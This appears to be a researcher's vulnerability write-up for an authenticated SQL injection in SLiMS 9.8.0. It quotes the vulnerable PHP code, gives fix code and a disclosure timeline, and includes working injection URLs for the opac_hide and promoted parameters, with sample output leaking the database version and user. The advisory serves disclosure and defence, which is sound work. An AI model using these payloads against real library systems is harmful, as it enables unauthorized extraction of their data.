
Write-up and proof-of-concept for CVE-2026-107082, an authenticated SQL injection in SLiMS 9.8.0 via the opac_hide and promoted GET parameters, with PoCs and fix guidance.
opac_hide / promoted GET Parameters in SLiMS 9.8.0 Admin Bibliography Module
SLiMS 9.8.0 allows an authenticated staff user to perform SQL Injection via the opac_hide and promoted GET parameters of admin/modules/bibliography/index.php. The values are passed through $dbs->escape_string() and then concatenated unquoted into the SQL criteria string (AND opac_hide =<value>). Because the context is numeric and unquoted, escape_string() does not mitigate the attack. Any payload that does not rely on quote characters executes raw SQL, leading to error-based information disclosure and arbitrary data extraction.
Impact: Any authenticated staff account (any role) can perform error-based / UNION-based data extraction from the admin panel.
| Field | Value |
|---|---|
| CVE ID | CVE-2026-107082 |
| Official Record | cve.org/CVERecord?id=CVE-2026-107082 |
| Affected Version | SLiMS 9.8.0 (master) |
| Vulnerability Type | CWE-89: SQL Injection |
| Attack Vector | Network |
| Privileges Required | Low (any authenticated staff) |
| Affected Component | admin/modules/bibliography/index.php (opac_hide, promoted GET parameters) |
| Original Report | slims/slims9_bulian#392 |
| File | Vulnerable Lines |
|---|---|
admin/modules/bibliography/index.php | 1352–1360 |
admin/modules/bibliography/index.phpLines 1352–1360 — values are concatenated into an unquoted numeric context:

// lines 1352-1360
if (isset($_GET['opac_hide']) && $_GET['opac_hide'] != '') {
$opac_hide = $dbs->escape_string($_GET['opac_hide']);
$str_criteria .= ' AND opac_hide =' . $opac_hide;
}
if (isset($_GET['promoted']) && $_GET['promoted'] != '') {
$promoted = $dbs->escape_string($_GET['promoted']);
$str_criteria .= ' AND promoted =' . $promoted;
}
Contributing factor: the admin-side global sanitizer at admin/default/session.inc.php:35 runs with filter: [false, true, true], so escape_sql is disabled for admin requests. The module only applies escape_string(), which cannot neutralize quote-free SQL injection payloads in an unquoted numeric context.
docker-compose.yml: php:8.3.13-apache + mariadb:lts)opac_hideLogin to /admin, then open the following URL in the browser (spaces and # are URL-encoded):
http://localhost:8881/admin/modules/bibliography/index.php?opac_hide=0%20AND%20EXTRACTVALUE(1,CONCAT(0x7e,version()))%23
Output:
<h1>XPATH syntax error: '~12.3.3-MariaDB-ubu2404'</h1>

Variant leaking the DB user context (confirms arbitrary subqueries execute):
http://localhost:8881/admin/modules/bibliography/index.php?opac_hide=0%20AND%20EXTRACTVALUE(1,CONCAT(0x7e,(SELECT%20user())))%23
Output:
<h1>XPATH syntax error: '[email protected]'</h1>

promotedThe promoted parameter is equally vulnerable:
http://localhost:8881/admin/modules/bibliography/index.php?promoted=0%20AND%20EXTRACTVALUE(1,CONCAT(0x7e,version()))%23
Output:
<h1>XPATH syntax error: '~12.3.3-MariaDB-ubu2404'</h1>


| Component | Version |
|---|---|
| SLiMS | 9.8.0 (master) |
| Operating System | Ubuntu 24.04 |
| Web Server | Apache 2.4.62 (Debian) |
| PHP | 8.3.13 |
| MariaDB | 12.3.3-MariaDB-ubu2404 |
| MySQL Client | mysqld 8.3.13 |
| Browser | Firefox 156 |
Verified using the repository's own docker-compose.yml.
Parameter values of numeric columns should be cast to int or strictly validated against 0/1 before concatenation.
if (isset($_GET['opac_hide']) && $_GET['opac_hide'] !== '') {
$opac_hide = (int)$_GET['opac_hide'];
if ($opac_hide === 0 || $opac_hide === 1) {
$str_criteria .= ' AND opac_hide = ' . $opac_hide;
}
}
if (isset($_GET['promoted']) && $_GET['promoted'] !== '') {
$promoted = (int)$_GET['promoted'];
if ($promoted === 0 || $promoted === 1) {
$str_criteria .= ' AND promoted = ' . $promoted;
}
}
If the parameter is meant to accept only specific values:
$allowed_opac_hide = ['0', '1'];
if (isset($_GET['opac_hide']) && in_array($_GET['opac_hide'], $allowed_opac_hide, true)) {
$str_criteria .= ' AND opac_hide = ' . (int)$_GET['opac_hide'];
}
escape_sql Globally for AdminFix admin/default/session.inc.php:35 so the first filter is true. This is a defense-in-depth measure, not the primary fix.
| Date | Event |
|---|---|
| 2026-10-05 | Issue #392 reported to SLiMS repository |
| 2026-10-15 | Public write-up published (this repository) |
| 2026-10-20 | Official CVE record published on cve.org |
| — | Awaiting maintainer response on fix |
This write-up is provided for educational and defensive purposes only. All testing was performed on a locally hosted instance owned by the author. Do not use these techniques against systems without explicit written authorization.
Primandito Adi Setiya